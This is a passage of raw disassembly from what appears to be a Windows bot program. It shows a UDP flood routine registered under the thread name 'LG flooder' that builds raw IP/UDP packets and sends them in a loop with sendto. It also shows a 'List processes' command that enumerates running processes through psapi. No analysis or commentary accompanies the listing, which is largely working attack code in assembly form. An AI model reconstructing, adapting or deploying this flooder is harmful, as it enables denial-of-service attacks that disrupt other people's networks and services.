mov al, [eax]
and al, 0F0h
or al, 5
mov ecx, [ebp+var_133C]
mov [ecx], al
mov eax, [ebp+var_133C]
mov al, [eax]
and al, 0Fh
or al, 40h
mov ecx, [ebp+var_133C]
mov [ecx], al
mov eax, [ebp+var_133C]
mov byte ptr [eax+9], 11h
mov eax, [ebp+var_133C]
mov ecx, [ebp+var_C]
mov [eax+10h], ecx
mov eax, [ebp+var_133C]
mov cx, [ebp+var_E]
mov [eax+16h], cx
and [ebp+var_1338], 0
jmp short loc_4057B6
; ---------------------------------------------------------------------------
loc_4057A9: ; CODE XREF: sub_4055E5:loc_405E22j
mov eax, [ebp+var_1338]
inc eax
mov [ebp+var_1338], eax
loc_4057B6: ; CODE XREF: sub_4055E5+1C2j
mov eax, [ebp+var_1338]
cmp eax, [ebp+var_1087]
jge loc_405E27
mov eax, [ebp+var_107F]
mov [ebp+var_1358], eax
cmp [ebp+var_1358], 1
jz short loc_4057FC
cmp [ebp+var_1358], 2
jz loc_405924
cmp [ebp+var_1358], 3
jz loc_405A11
jmp loc_405C71
; ---------------------------------------------------------------------------
loc_4057FC: ; CODE XREF: sub_4055E5+1F6j
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push offset aU ; "%u\r\n"
push [ebp+var_14]
call sub_416B5E ; sprintf
add esp, 0Ch
loc_40581E: ; CODE XREF: sub_4055E5+2BFj
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
cmp eax, 7D0h
jnb short loc_4058A9
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp loc_40581E
; ---------------------------------------------------------------------------
loc_4058A9: ; CODE XREF: sub_4055E5+247j
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u"
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp loc_405C93
; ---------------------------------------------------------------------------
loc_405924: ; CODE XREF: sub_4055E5+1FFj
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push offset aU ; "%u\r\n"
push [ebp+var_14]
call sub_416B5E ; sprintf
add esp, 0Ch
loc_405946: ; CODE XREF: sub_4055E5+3CBj
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
cmp eax, 7D0h
jnb short loc_4059B2
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp short loc_405946
; ---------------------------------------------------------------------------
loc_4059B2: ; CODE XREF: sub_4055E5+36Fj
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u"
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp loc_405C93
; ---------------------------------------------------------------------------
loc_405A11: ; CODE XREF: sub_4055E5+20Cj
push 2
push 0
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_134C], eax
cmp [ebp+var_134C], 0
jnz short loc_405A52
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push offset aU_0 ; "%u"
push [ebp+var_14]
call sub_416B5E ; sprintf
add esp, 0Ch
jmp loc_405C6F
; ---------------------------------------------------------------------------
loc_405A52: ; CODE XREF: sub_4055E5+444j
cmp [ebp+var_134C], 1
jnz loc_405B87
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push offset aU ; "%u\r\n"
push [ebp+var_14]
call sub_416B5E ; sprintf
add esp, 0Ch
loc_405A81: ; CODE XREF: sub_4055E5+522j
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
cmp eax, 7D0h
jnb short loc_405B0C
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp loc_405A81
; ---------------------------------------------------------------------------
loc_405B0C: ; CODE XREF: sub_4055E5+4AAj
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u"
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp loc_405C6F
; ---------------------------------------------------------------------------
loc_405B87: ; CODE XREF: sub_4055E5+474j
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push offset aU ; "%u\r\n"
push [ebp+var_14]
call sub_416B5E ; sprintf
add esp, 0Ch
loc_405BA9: ; CODE XREF: sub_4055E5+62Ej
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
cmp eax, 7D0h
jnb short loc_405C15
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp short loc_405BA9
; ---------------------------------------------------------------------------
loc_405C15: ; CODE XREF: sub_4055E5+5D2j
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u"
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
loc_405C6F: ; CODE XREF: sub_4055E5+468j
; sub_4055E5+59Dj
jmp short loc_405C93
; ---------------------------------------------------------------------------
loc_405C71: ; CODE XREF: sub_4055E5+212j
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push offset aU_0 ; "%u"
push [ebp+var_14]
call sub_416B5E ; sprintf
add esp, 0Ch
loc_405C93: ; CODE XREF: sub_4055E5+33Aj
; sub_4055E5+427j ...
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_1354], eax
and [ebp+var_1350], 0
jmp short loc_405CB8
; ---------------------------------------------------------------------------
loc_405CAB: ; CODE XREF: sub_4055E5+6F9j
mov eax, [ebp+var_1350]
inc eax
mov [ebp+var_1350], eax
loc_405CB8: ; CODE XREF: sub_4055E5+6C4j
mov eax, [ebp+var_1350]
cmp eax, [ebp+var_1354]
jnb short loc_405CE0
mov eax, [ebp+var_14]
add eax, [ebp+var_1350]
mov al, [eax]
shl al, 1
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1350]
mov [ecx], al
jmp short loc_405CAB
; ---------------------------------------------------------------------------
loc_405CE0: ; CODE XREF: sub_4055E5+6DFj
mov eax, [ebp+var_1354]
add eax, 1Ch
push eax
call ds:dword_417238 ; ntohs
mov ecx, [ebp+var_133C]
mov [ecx+2], ax
call sub_41043F
push eax
call ds:dword_417238 ; ntohs
mov ecx, [ebp+var_133C]
mov [ecx+4], ax
call sub_410483
neg eax
sbb eax, eax
and al, 0C0h
add eax, 80h
mov ecx, [ebp+var_133C]
mov [ecx+8], al
push 2
push offset dword_41EF48
call ds:dword_417244 ; inet_addr
push eax
call sub_4040E8
pop ecx
pop ecx
mov ecx, [ebp+var_133C]
mov [ecx+0Ch], eax
mov eax, [ebp+var_1354]
add eax, 14h
push eax
push [ebp+var_133C]
call sub_40407D
pop ecx
pop ecx
mov ecx, [ebp+var_133C]
mov [ecx+0Ah], ax
movzx eax, [ebp+var_E]
test eax, eax
jnz short loc_405D7F
call sub_41043F
mov ecx, [ebp+var_133C]
mov [ecx+16h], ax
loc_405D7F: ; CODE XREF: sub_4055E5+789j
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
push eax
call ds:dword_417238 ; ntohs
mov ecx, [ebp+var_133C]
mov [ecx+14h], ax
mov eax, [ebp+var_1354]
add eax, 8
push eax
call ds:dword_417238 ; ntohs
mov ecx, [ebp+var_133C]
mov [ecx+18h], ax
push 10h
lea eax, [ebp+var_10]
push eax
push 0
mov eax, [ebp+var_1354]
add eax, 1Ch
push eax
lea eax, [ebp+var_1074]
push eax
push [ebp+var_1078]
call ds:dword_417250 ; sendto
mov [ebp+var_1348], eax
cmp [ebp+var_1348], 0FFFFFFFFh
jnz short loc_405E08
push [ebp+var_1334]
call sub_409763
pop ecx
push [ebp+var_1078]
call sub_4053B1
pop ecx
xor eax, eax
jmp short locret_405E41
; ---------------------------------------------------------------------------
loc_405E08: ; CODE XREF: sub_4055E5+805j
push [ebp+var_1083]
call ds:dword_41709C ; Sleep
mov eax, [ebp+var_1334]
cmp dword ptr [eax+4], 0
jz short loc_405E22
jmp short loc_405E27
; ---------------------------------------------------------------------------
loc_405E22: ; CODE XREF: sub_4055E5+839j
jmp loc_4057A9
; ---------------------------------------------------------------------------
loc_405E27: ; CODE XREF: sub_4055E5+1DDj
; sub_4055E5+83Bj
push [ebp+var_1078]
call sub_4053B1
pop ecx
push [ebp+var_1334]
call sub_409763
pop ecx
xor eax, eax
locret_405E41: ; CODE XREF: sub_4055E5+59j
; sub_4055E5+94j ...
leave
retn 4
sub_4055E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_4], 0
jz short loc_405E5D
cmp [ebp+arg_8], 0
jz short loc_405E5D
cmp [ebp+arg_14], 0
jnz short loc_405E62
loc_405E5D: ; CODE XREF: sub_405E45+Aj
; sub_405E45+10j
jmp locret_405F65
; ---------------------------------------------------------------------------
loc_405E62: ; CODE XREF: sub_405E45+16j
push 2B9h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_405E7B
jmp locret_405F65
; ---------------------------------------------------------------------------
loc_405E7B: ; CODE XREF: sub_405E45+2Fj
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push 100h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 1A7h
push eax
call sub_407A56
add esp, 0Ch
push 6
push [ebp+arg_8]
mov eax, [ebp+var_4]
add eax, 2A7h
push eax
call sub_407A56
add esp, 0Ch
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
mov ecx, [ebp+var_4]
mov [ecx+2ADh], eax
push [ebp+arg_10]
call sub_416B9C ; atoi
pop ecx
mov ecx, [ebp+var_4]
mov [ecx+2B1h], eax
push [ebp+arg_14]
call sub_416B9C ; atoi
pop ecx
mov ecx, [ebp+var_4]
mov [ecx+2B5h], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+2B1h], 0EA60h
jge short loc_405F0E
mov eax, [ebp+var_4]
mov eax, [eax+2B1h]
mov [ebp+var_8], eax
jmp short loc_405F15
; ---------------------------------------------------------------------------
loc_405F0E: ; CODE XREF: sub_405E45+B9j
mov [ebp+var_8], 0EA60h
loc_405F15: ; CODE XREF: sub_405E45+C7j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov [eax+2B1h], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax+2B1h], 64h
jle short loc_405F3B
mov eax, [ebp+var_4]
mov eax, [eax+2B1h]
mov [ebp+var_C], eax
jmp short loc_405F42
; ---------------------------------------------------------------------------
loc_405F3B: ; CODE XREF: sub_405E45+E6j
mov [ebp+var_C], 64h
loc_405F42: ; CODE XREF: sub_405E45+F4j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_C]
mov [eax+2B1h], ecx
push offset aLgFlooder ; "LG flooder"
push 0
push [ebp+var_4]
push offset sub_4055E5
call sub_4095A4
add esp, 10h
locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj
; sub_405E45+31j
leave
retn
sub_405E45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep
; sub_401D6E+77p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jnz short loc_405F8E
push 1A3h
push 0
push [ebp+arg_0]
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_0]
mov byte ptr [eax+198h], 1
jmp short loc_405FA1
; ---------------------------------------------------------------------------
loc_405F8E: ; CODE XREF: sub_405F67+7j
push 1A3h
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B52 ; memcpy
add esp, 0Ch
loc_405FA1: ; CODE XREF: sub_405F67+25j
pop ebp
retn
sub_405F67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405FA3 proc near ; CODE XREF: .text:004168C1p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push offset dword_41E2B0
call sub_409C36
pop ecx
push offset aPsapi_dll ; "psapi.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_405FC8
jmp short locret_40603F
; ---------------------------------------------------------------------------
loc_405FC8: ; CODE XREF: sub_405FA3+21j
push offset aEnumprocesses ; "EnumProcesses"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41E2AC, eax
push offset aEnumprocessmod ; "EnumProcessModules"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41E2A0, eax
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41E2A4, eax
push offset aGetmoduleinfor ; "GetModuleInformation"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41E2A8, eax
cmp dword_41E2AC, 0
jz short locret_40603F
cmp dword_41E2A0, 0
jz short locret_40603F
cmp dword_41E2A4, 0
jz short locret_40603F
cmp dword_41E2A8, 0
jz short locret_40603F
mov byte_41E2CC, 1
locret_40603F: ; CODE XREF: sub_405FA3+23j
; sub_405FA3+78j ...
leave
retn
sub_405FA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406041 proc near ; CODE XREF: sub_401244:loc_40129Dp
; sub_40637C+29p
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_12B = byte ptr -12Bh
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 13Ch
push esi
push edi
push offset dword_41E2B0
call sub_409C6C
pop ecx
movzx eax, byte_41E2CC
test eax, eax
jnz short loc_406074
push offset dword_41E2B0
call sub_409C7A
pop ecx
xor eax, eax
jmp loc_40636A
; ---------------------------------------------------------------------------
loc_406074: ; CODE XREF: sub_406041+1Fj
and [ebp+var_C], 0
and [ebp+var_4], 0
and [ebp+var_1C], 0
push [ebp+var_1C]
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_406097
jmp loc_406368
; ---------------------------------------------------------------------------
loc_406097: ; CODE XREF: sub_406041+4Fj
; sub_406041:loc_4060E9j
mov eax, [ebp+var_1C]
add eax, 80h
mov [ebp+var_1C], eax
push [ebp+var_1C]
push [ebp+var_14]
call sub_416BF6 ; realloc
pop ecx
pop ecx
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_4060BD
jmp loc_406366
; ---------------------------------------------------------------------------
loc_4060BD: ; CODE XREF: sub_406041+75j
lea eax, [ebp+var_4]
push eax
push [ebp+var_1C]
push [ebp+var_14]
call dword_41E2AC
test eax, eax
jnz short loc_4060DF
push [ebp+var_14]
call sub_416B4C ; free
pop ecx
jmp loc_406364
; ---------------------------------------------------------------------------
loc_4060DF: ; CODE XREF: sub_406041+8Ej
mov eax, [ebp+var_4]
cmp eax, [ebp+var_1C]
jnb short loc_4060E9
jmp short loc_4060EB
; ---------------------------------------------------------------------------
loc_4060E9: ; CODE XREF: sub_406041+A4j
jmp short loc_406097
; ---------------------------------------------------------------------------
loc_4060EB: ; CODE XREF: sub_406041+A6j
mov eax, [ebp+var_4]
shr eax, 2
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
imul eax, 114h
add eax, 8
push eax
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_40611E
push [ebp+var_14]
call sub_416B4C ; free
pop ecx
jmp loc_406362
; ---------------------------------------------------------------------------
loc_40611E: ; CODE XREF: sub_406041+CDj
mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
mov [eax], ecx
mov eax, [ebp+var_C]
add eax, 8
mov ecx, [ebp+var_C]
mov [ecx+4], eax
and [ebp+var_10], 0
jmp short loc_40613F
; ---------------------------------------------------------------------------
loc_406138: ; CODE XREF: sub_406041+156j
mov eax, [ebp+var_10]
inc eax
mov [ebp+var_10], eax
loc_40613F: ; CODE XREF: sub_406041+F5j
mov eax, [ebp+var_10]
cmp eax, [ebp+var_8]
jnb short loc_406199
push 114h
push 0
mov eax, [ebp+var_C]
push dword ptr [eax+4]
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
mov edx, [ebp+var_10]
mov esi, [ebp+var_14]
mov edx, [esi+edx*4]
mov [ecx+eax], edx
push offset aSystem ; "system"
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
lea eax, [ecx+eax+0Ch]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_406138
; ---------------------------------------------------------------------------
loc_406199: ; CODE XREF: sub_406041+104j
push [ebp+var_14]
call sub_416B4C ; free
pop ecx
and [ebp+var_10], 0
jmp short loc_4061AF
; ---------------------------------------------------------------------------
loc_4061A8: ; CODE XREF: sub_406041+1A8j
; sub_406041+1D8j ...
mov eax, [ebp+var_10]
inc eax
mov [ebp+var_10], eax
loc_4061AF: ; CODE XREF: sub_406041+165j
mov eax, [ebp+var_10]
cmp eax, [ebp+var_8]
jnb loc_406343
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
push dword ptr [ecx+eax]
push 0
push 410h
call ds:dword_417094 ; OpenProcess
mov [ebp+var_130], eax
cmp [ebp+var_130], 0
jnz short loc_4061EB
jmp short loc_4061A8
; ---------------------------------------------------------------------------
loc_4061EB: ; CODE XREF: sub_406041+1A6j
and [ebp+var_20], 0
and [ebp+var_28], 0
lea eax, [ebp+var_20]
push eax
push 4
lea eax, [ebp+var_28]
push eax
push [ebp+var_130]
call dword_41E2A0
test eax, eax
jnz short loc_40621B
push [ebp+var_130]
call ds:dword_4170A4 ; CloseHandle
jmp short loc_4061A8
; ---------------------------------------------------------------------------
loc_40621B: ; CODE XREF: sub_406041+1CAj
push 0Ch
lea eax, [ebp+var_13C]
push eax
push [ebp+var_28]
push [ebp+var_130]
call dword_41E2A8
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
mov edx, [ebp+var_13C]
mov [ecx+eax+4], edx
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
mov edx, [ebp+var_138]
mov [ecx+eax+8], edx
mov al, byte_41DE30
mov [ebp+var_12C], al
push 40h
pop ecx
xor eax, eax
lea edi, [ebp+var_12B]
rep stosd
stosw
stosb
push 104h
lea eax, [ebp+var_12C]
push eax
push [ebp+var_13C]
push [ebp+var_130]
call dword_41E2A4
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz loc_406332
movsx eax, [ebp+var_12C]
test eax, eax
jz short loc_406332
push 104h
lea eax, [ebp+var_12C]
push eax
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
lea eax, [ecx+eax+0Ch]
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
lea eax, [ebp+var_12C]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_18], eax
jmp short loc_4062F7
; ---------------------------------------------------------------------------
loc_4062F0: ; CODE XREF: sub_406041:loc_406330j
mov eax, [ebp+var_18]
dec eax
mov [ebp+var_18], eax
loc_4062F7: ; CODE XREF: sub_406041+2ADj
cmp [ebp+var_18], 0
jz short loc_406332
cmp [ebp+var_18], 1
ja short loc_406305
jmp short loc_406332
; ---------------------------------------------------------------------------
loc_406305: ; CODE XREF: sub_406041+2C0j
mov eax, [ebp+var_18]
movsx eax, byte ptr [ebp+eax+var_130+3]
cmp eax, 5Ch
jnz short loc_406330
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
mov edx, [ebp+var_18]
mov [ecx+eax+110h], edx
jmp short loc_406332
; ---------------------------------------------------------------------------
loc_406330: ; CODE XREF: sub_406041+2D2j
jmp short loc_4062F0
; ---------------------------------------------------------------------------
loc_406332: ; CODE XREF: sub_406041+264j
; sub_406041+273j ...
push [ebp+var_130]
call ds:dword_4170A4 ; CloseHandle
jmp loc_4061A8
; ---------------------------------------------------------------------------
loc_406343: ; CODE XREF: sub_406041+174j
push offset dword_41E2B0
call sub_409C7A
pop ecx
mov eax, [ebp+var_C]
jmp short loc_40636A
; ---------------------------------------------------------------------------
loc_406353: ; CODE XREF: sub_406041:loc_406362j
; sub_406041:loc_406364j ...
push offset dword_41E2B0
call sub_409C7A
pop ecx
xor eax, eax
jmp short loc_40636A
; ---------------------------------------------------------------------------
loc_406362: ; CODE XREF: sub_406041+D8j
jmp short loc_406353
; ---------------------------------------------------------------------------
loc_406364: ; CODE XREF: sub_406041+99j
jmp short loc_406353
; ---------------------------------------------------------------------------
loc_406366: ; CODE XREF: sub_406041+77j
jmp short loc_406353
; ---------------------------------------------------------------------------
loc_406368: ; CODE XREF: sub_406041+51j
jmp short loc_406353
; ---------------------------------------------------------------------------
loc_40636A: ; CODE XREF: sub_406041+2Ej
; sub_406041+310j ...
pop edi
pop esi
leave
retn
sub_406041 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40636E proc near ; CODE XREF: sub_401244+4D2p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
pop ebp
retn
sub_40636E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40637C proc near ; DATA XREF: sub_4064BF+3Bo
var_1B0 = dword ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = dword ptr -1A8h
var_1A4 = byte ptr -1A4h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_1A8]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
call sub_406041
mov [ebp+var_1AC], eax
cmp [ebp+var_1AC], 0
jz loc_4064AD
mov eax, [ebp+var_1AC]
push dword ptr [eax]
mov eax, [ebp+var_1A8]
push dword ptr [eax]
push offset dword_418B1C
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 10h
and [ebp+var_1B0], 0
jmp short loc_4063F7
; ---------------------------------------------------------------------------
loc_4063EA: ; CODE XREF: sub_40637C:loc_40649Cj
mov eax, [ebp+var_1B0]
inc eax
mov [ebp+var_1B0], eax
loc_4063F7: ; CODE XREF: sub_40637C+6Cj
mov eax, [ebp+var_1AC]
mov ecx, [ebp+var_1B0]
cmp ecx, [eax]
jge loc_4064A1
push 3E8h
call ds:dword_41709C ; Sleep
mov eax, [ebp+var_1B0]
imul eax, 114h
mov ecx, [ebp+var_1AC]
mov ecx, [ecx+4]
lea eax, [ecx+eax+0Ch]
push eax
mov eax, [ebp+var_1B0]
imul eax, 114h
mov ecx, [ebp+var_1AC]
mov ecx, [ecx+4]
push dword ptr [ecx+eax+8]
mov eax, [ebp+var_1B0]
imul eax, 114h
mov ecx, [ebp+var_1AC]
mov ecx, [ecx+4]
push dword ptr [ecx+eax+4]
mov eax, [ebp+var_1B0]
imul eax, 114h
mov ecx, [ebp+var_1AC]
mov ecx, [ecx+4]
push dword ptr [ecx+eax]
push offset dword_418B04
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 18h
mov eax, [ebp+var_1A8]
cmp dword ptr [eax+4], 0
jz short loc_40649C
jmp short loc_4064A1
; ---------------------------------------------------------------------------
loc_40649C: ; CODE XREF: sub_40637C+11Cj
jmp loc_4063EA
; ---------------------------------------------------------------------------
loc_4064A1: ; CODE XREF: sub_40637C+89j
; sub_40637C+11Ej
push [ebp+var_1AC]
call sub_416B4C ; free
pop ecx
loc_4064AD: ; CODE XREF: sub_40637C+3Bj
push [ebp+var_1A8]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_40637C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4064D9
jmp short locret_406507
; ---------------------------------------------------------------------------
loc_4064D9: ; CODE XREF: sub_4064BF+16j
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push offset aListProcesses ; "List processes"
push 0
push [ebp+var_4]
push offset sub_40637C
call sub_4095A4
add esp, 10h
locret_406507: ; CODE XREF: sub_4064BF+18j
leave
retn
sub_4064BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
